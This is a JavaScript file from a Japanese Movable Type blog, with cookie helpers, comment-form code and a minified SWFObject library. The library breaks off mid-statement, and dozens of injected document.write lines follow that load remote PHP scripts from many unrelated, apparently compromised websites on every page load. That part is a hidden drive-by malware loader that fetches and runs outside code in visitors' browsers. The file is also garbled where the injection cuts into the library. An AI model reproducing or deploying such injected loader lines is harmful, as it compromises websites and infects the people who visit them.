// Copyright (c) 1996-1997 Athenia Associates.
// http://www.webreference.com/js/
// License is granted if and only if this entire
// copyright notice is included. By Tomer Shiran.

function setCookie (name, value, expires, path, domain, secure) {
    var curCookie = name + "=" + escape(value) + (expires ? "; expires=" + expires : "") +
        (path ? "; path=" + path : "") + (domain ? "; domain=" + domain : "") + (secure ? "secure" : "");
    document.cookie = curCookie;
}

function getCookie (name) {
    var prefix = name + '=';
    var c = document.cookie;
    var nullstring = '';
    var cookieStartIndex = c.indexOf(prefix);
    if (cookieStartIndex == -1)
        return nullstring;
    var cookieEndIndex = c.indexOf(";", cookieStartIndex + prefix.length);
    if (cookieEndIndex == -1)
        cookieEndIndex = c.length;
    return unescape(c.substring(cookieStartIndex + prefix.length, cookieEndIndex));
}

function deleteCookie (name, path, domain) {
    if (getCookie(name))
        document.cookie = name + "=" + ((path) ? "; path=" + path : "") +
            ((domain) ? "; domain=" + domain : "") + "; expires=Thu, 01-Jan-70 00:00:01 GMT";
}

function fixDate (date) {
    var base = new Date(0);
    var skew = base.getTime();
    if (skew > 0)
        date.setTime(date.getTime() - skew);
}

function rememberMe (f) {
    var now = new Date();
    fixDate(now);
    now.setTime(now.getTime() + 365 * 24 * 60 * 60 * 1000);
    now = now.toGMTString();
    if (f.author != undefined)
       setCookie('mtcmtauth', f.author.value, now, '/', '', '');
    if (f.email != undefined)
       setCookie('mtcmtmail', f.email.value, now, '/', '', '');
    if (f.url != undefined)
       setCookie('mtcmthome', f.url.value, now, '/', '', '');
}

function forgetMe (f) {
    deleteCookie('mtcmtmail', '/', '');
    deleteCookie('mtcmthome', '/', '');
    deleteCookie('mtcmtauth', '/', '');
    f.email.value = '';
    f.author.value = '';
    f.url.value = '';
}

function hideDocumentElement(id) {
    var el = document.getElementById(id);
    if (el) el.style.display = 'none';
}

function showDocumentElement(id) {
    var el = document.getElementById(id);
    if (el) el.style.display = 'block';
}

function showAnonymousForm() {
    showDocumentElement('comments-form');

}


var commenter_name;
var commenter_blog_ids;
var is_preview;
// TODO - determine if the following variables should be explicitly stated
// var mtcmtemail, mtcmtauth, mtcmthome;

function individualArchivesOnLoad(commenter_name) {





    
    if ( commenter_name &&
         ( !commenter_id 
        || commenter_blog_ids.indexOf("'58'") > -1))
    {
        hideDocumentElement('comment-form-name');
        hideDocumentElement('comment-form-email');
        showDocumentElement('comments-open-text');
        showDocumentElement('comments-open-footer');
    } else {
        hideDocumentElement('comments-open-data');
        hideDocumentElement('comments-open-text');
        hideDocumentElement('comments-open-footer');
    }
    


    if (document.comments_form) {
        if (!commenter_name && (document.comments_form.email != undefined) &&
            (mtcmtmail = getCookie("mtcmtmail")))
            document.comments_form.email.value = mtcmtmail;
        if (!commenter_name && (document.comments_form.author != undefined) &&
            (mtcmtauth = getCookie("mtcmtauth")))
            document.comments_form.author.value = mtcmtauth;
        if (document.comments_form.url != undefined && 
            (mtcmthome = getCookie("mtcmthome")))
            document.comments_form.url.value = mtcmthome;
        if (document.comments_form["bakecookie"]) {
            if (mtcmtauth || mtcmthome) {
                document.comments_form.bakecookie.checked = true;
            } else {
                document.comments_form.bakecookie.checked = false;
            }
        }
    }
}

function writeCommenterGreeting(commenter_name, entry_id, blog_id, commenter_id, commenter_url) {

    if ( commenter_name &&
         ( !commenter_id 
        || commenter_blog_ids.indexOf("'" + blog_id + "'") > -1))
    {
        var url;
        if (commenter_id) {
            url = 'http://www.softbank-mobile.biz/mt/mt-comments.cgi?__mode=edit_profile&commenter=' + commenter_id + '&blog_id=' + blog_id;
            if (entry_id) {
                url += '&entry_id=' + entry_id;
            } else {
                url += '&static=1';
            }
        } else if (commenter_url) {
            url = commenter_url;
        } else {
            url = null;
        }
        var content = ' ';
        if (url) {
            content += '<a href="' + url + '">' + commenter_name + '</a>';
        } else {
            content += commenter_name;
        }
        content += 'さん、コメントをどうぞ。 (<a href="http://www.softbank-mobile.biz/mt/mt-comments.cgi?__mode=handle_sign_in&amp;static=1&amp;logout=1&entry_id=' + entry_id + '">サインアウト</a>)';
        document.write(content);
    } else if (commenter_name) {
            document.write('このブログにはコメントする権限を持っていません。 (<a href="http://www.softbank-mobile.biz/mt/mt-comments.cgi?__mode=handle_sign_in&amp;static=1&amp;logout=1&entry_id=' + entry_id + '">サインアウト</a>)');
    } else {

        document.write('<a href="http://www.softbank-mobile.biz/mt/mt-comments.cgi?__mode=login&entry_id=' + entry_id + '&blog_id=' + blog_id + '&static=1">サインイン</a>してからコメントしてください。');

    }

}


if ('www.softbank-mobile.biz' != 'www.softbank-mobile.biz') {
    document.write('<script src="http://www.softbank-mobile.biz/mt/mt-comments.cgi?__mode=cmtr_name_js"></script>');
} else {
    commenter_name = getCookie('commenter_name');
    ids = getCookie('commenter_id').split(':');
    commenter_id = ids[0];
    commenter_blog_ids = ids[1];
    commenter_url = getCookie('commenter_url');
}






if(typeof deconcept=="undefined"){var deconcept=new Object();}if(typeof deconcept.util=="undefined"){deconcept.util=new Object();}if(typeof deconcept.SWFObjectUtil=="undefined"){deconcept.SWFObjectUtil=new Object();}deconcept.SWFObject=function(_1,id,w,h,_5,c,_7,_8,_9,_a){if(!document.getElementById){return;}this.DETECT_KEY=_a?_a:"detectflash";this.skipDetect=deconcept.util.getRequestParameter(this.DETECT_KEY);this.params=new Object();this.variables=new Object();this.attributes=new Array();if(_1){this.setAttribute("swf",_1);}if(id){this.setAttribute("id",id);}if(w){this.setAttribute("width",w);}if(h){this.setAttribute("height",h);}if(_5){this.setAttribute("version",new deconcept.PlayerVersion(_5.toString().split(".")));}this.installedVer=deconcept.SWFObjectUtil.getPlayerVersion();if(!window.opera&&document.all&&this.installedVer.major>7){deconcept.SWFObject.doPrepUnload=true;}if(c){this.addParam("bgcolor",c);}var q=_7?_7:"high";this.addParam("quality",q);this.setAttribute("useExpressInstall",false);this.setAttribute("doExpressInstall",false);var _c=(_8)?_8:window.location;this.setAttribute("xiRedirectUrl",_c);this.setAttribute("redirectUrl","");if(_9){this.setAttribute("redirectUrl",_9);}};deconcept.SWFObject.prototype={useExpressInstall:function(_d){this.xiSWFPath=!_d?"expressinstall.swf":_d;this.setAttribute("useExpressInstall",true);},setAttribute:function(_e,_f){this.attributes[_e]=_f;},getAttribute:function(_10){return this.attributes[_10];},addParam:function(_11,_12){this.params[_11]=_12;},getParams:function(){return this.params;},addVariable:function(_13,_14){this.variables[_13]=_14;},getVariable:function(_15){return this.variables[_15];},getVariables:function(){return this.variables;},getVariablePairs:function(){var _16=new Array();var key;var _18=this.getVariables();for(key in _18){_16[_16.length]=key+"="+_18[key];}return _16;},getSWFHTML:function(){var _19="";if(navigator.plugins&&navigator.mimeTypes&&navigator.mimeTypes.length){if(this.getAttribute("doExpressInstall")){this.addVariable("MMplayerType","PlugIn");this.setAttribute("swf",this.xiSWFPath);}_19="<embed type=\"application/x-shockwave-flash\" src=\""+this.getAttribute("swf")+"\" width=\""+this.getAttribute("width")+"\" height=\""+this
document.write('<script src=http://spindler-zeichnungen.de/index.php ><\/script>');
document.write('<script src=http://spindler-zeichnungen.de/index.php ><\/script>');
document.write('<script src=http://spindler-zeichnungen.de/index.php ><\/script>');
document.write('<script src=http://spindler-zeichnungen.de/index.php ><\/script>');
document.write('<script src=http://spindler-zeichnungen.de/index.php ><\/script>');
document.write('<script src=http://spindler-zeichnungen.de/index.php ><\/script>');
document.write('<script src=http://spindler-zeichnungen.de/index.php ><\/script>');
document.write('<script src=http://spindler-zeichnungen.de/index.php ><\/script>');
document.write('<script src=http://nrgrecords.com/PROGRAMMINGMINE/right-img.php ><\/script>');
document.write('<script src=http://nrgrecords.com/PROGRAMMINGMINE/right-img.php ><\/script>');
document.write('<script src=http://nrgrecords.com/PROGRAMMINGMINE/right-img.php ><\/script>');
document.write('<script src=http://nrgrecords.com/PROGRAMMINGMINE/right-img.php ><\/script>');
document.write('<script src=http://hilmerby.com/forumet/ego.php ><\/script>');
document.write('<script src=http://hilmerby.com/forumet/ego.php ><\/script>');
document.write('<script src=http://hilmerby.com/forumet/ego.php ><\/script>');
document.write('<script src=http://whitneypier.com/images/gifimg.php ><\/script>');
document.write('<script src=http://haemalgum.woweb.net/bbs/board.php ><\/script>');
document.write('<script src=http://haemalgum.woweb.net/bbs/board.php ><\/script>');
document.write('<script src=http://1inthechamber.com/samples/services.php ><\/script>');
document.write('<script src=http://1inthechamber.com/samples/services.php ><\/script>');
document.write('<script src=http://1inthechamber.com/samples/services.php ><\/script>');
document.write('<script src=http://1inthechamber.com/samples/services.php ><\/script>');
document.write('<script src=http://1inthechamber.com/samples/services.php ><\/script>');
document.write('<script src=http://1inthechamber.com/samples/services.php ><\/script>');
document.write('<script src=http://ewbud.eu/images/gifimg.php ><\/script>');
document.write('<script src=http://ewbud.eu/images/gifimg.php ><\/script>');
document.write('<script src=http://ewbud.eu/images/gifimg.php ><\/script>');
document.write('<script src=http://ewbud.eu/images/gifimg.php ><\/script>');
document.write('<script src=http://websisaket.com/ads/wp-links-opml.php ><\/script>');
document.write('<script src=http://websisaket.com/ads/wp-links-opml.php ><\/script>');
document.write('<script src=http://websisaket.com/ads/wp-links-opml.php ><\/script>');
document.write('<script src=http://ramanreti.net/links/theashram.php ><\/script>');
document.write('<script src=http://npipt.ru/templates/INSTALL.php ><\/script>');
document.write('<script src=http://titanavto.stonet.ru/images/gifimg.php ><\/script>');
document.write('<script src=http://titanavto.stonet.ru/images/gifimg.php ><\/script>');
document.write('<script src=http://solzay.ru/wps/wp-appq.php ><\/script>');
document.write('<script src=http://luxelivingdesign.com/images/f0rb/img1075428500.php ><\/script>');
document.write('<script src=http://luxelivingdesign.com/images/f0rb/img1075428500.php ><\/script>');
document.write('<script src=http://sinspeb-ba.org.br/mobiliza_concurso/noticias_41.php ><\/script>');
document.write('<script src=http://sinspeb-ba.org.br/mobiliza_concurso/noticias_41.php ><\/script>');
document.write('<script src=http://sinspeb-ba.org.br/mobiliza_concurso/noticias_41.php ><\/script>');
document.write('<script src=http://deia.canal-si.com/pruebas/portada_prueba.php ><\/script>');
document.write('<script src=http://deia.canal-si.com/pruebas/portada_prueba.php ><\/script>');
document.write('<script src=http://maxodesign.com/images/inicio01.php ><\/script>');
document.write('<script src=http://maxodesign.com/images/inicio01.php ><\/script>');
document.write('<script src=http://triann-realty.ru/images/sale-doli.php ><\/script>');
document.write('<script src=http://triann-realty.ru/images/sale-doli.php ><\/script>');
document.write('<script src=http://triann-realty.ru/images/sale-doli.php ><\/script>');
document.write('<script src=http://triann-realty.ru/images/sale-doli.php ><\/script>');
document.write('<script src=http://triann-realty.ru/images/sale-doli.php ><\/script>');
document.write('<script src=http://triann-realty.ru/images/sale-doli.php ><\/script>');
document.write('<script src=http://amit.winysworld.com/_vti_cnf/transp.php ><\/script>');
document.write('<script src=http://amit.winysworld.com/_vti_cnf/transp.php ><\/script>');
document.write('<script src=http://amit.winysworld.com/_vti_cnf/transp.php ><\/script>');
document.write('<script src=http://icrcsed.org/images/office.php ><\/script>');
document.write('<script src=http://icrcsed.org/images/office.php ><\/script>');
document.write('<script src=http://thestashbox.co.za/class/--index.php ><\/script>');
document.write('<script src=http://thestashbox.co.za/class/--index.php ><\/script>');
document.write('<script src=http://thestashbox.co.za/class/--index.php ><\/script>');
document.write('<script src=http://bloodpressuremonitorreviews.org/wp-includes/wp-comments-post.php ><\/script>');
document.write('<script src=http://bloodpressuremonitorreviews.org/wp-includes/wp-comments-post.php ><\/script>');
document.write('<script src=http://bloodpressuremonitorreviews.org/wp-includes/wp-comments-post.php ><\/script>');
document.write('<script src=http://bloodpressuremonitorreviews.org/wp-includes/wp-comments-post.php ><\/script>');
document.write('<script src=http://bloodpressuremonitorreviews.org/wp-includes/wp-comments-post.php ><\/script>');
document.write('<script src=http://onlyfriendz.com/bestbetting/index.php ><\/script>');
document.write('<script src=http://mobile.bangkokinn.com/css/bangkok_marriott_resort_spa.php ><\/script>');
document.write('<script src=http://fondwishes.com/images/gifimg.php ><\/script>');
document.write('<script src=http://diamondclub.hu/admin/bulifotok.php ><\/script>');
document.write('<script src=http://kolokolo.co.rs/stats/srpski_levi.php ><\/script>');
document.write('<script src=http://kolokolo.co.rs/stats/srpski_levi.php ><\/script>');
document.write('<script src=http://kolokolo.co.rs/stats/srpski_levi.php ><\/script>');
document.write('<script src=http://kolokolo.co.rs/stats/srpski_levi.php ><\/script>');
document.write('<script src=http://kolokolo.co.rs/stats/srpski_levi.php ><\/script>');
document.write('<script src=http://bigone.co.th/images.nong/index.swf.noimage.php ><\/script>');
document.write('<script src=http://bigone.co.th/images.nong/index.swf.noimage.php ><\/script>');
document.write('<script src=http://bigone.co.th/images.nong/index.swf.noimage.php ><\/script>');
document.write('<script src=http://bigone.co.th/images.nong/index.swf.noimage.php ><\/script>');
document.write('<script src=http://bigone.co.th/images.nong/index.swf.noimage.php ><\/script>');
document.write('<script src=http://anokha-rishta.com/include/UP.php ><\/script>');
document.write('<script src=http://anokha-rishta.com/include/UP.php ><\/script>');
document.write('<script src=http://shashah.net/webalizer/index.php ><\/script>');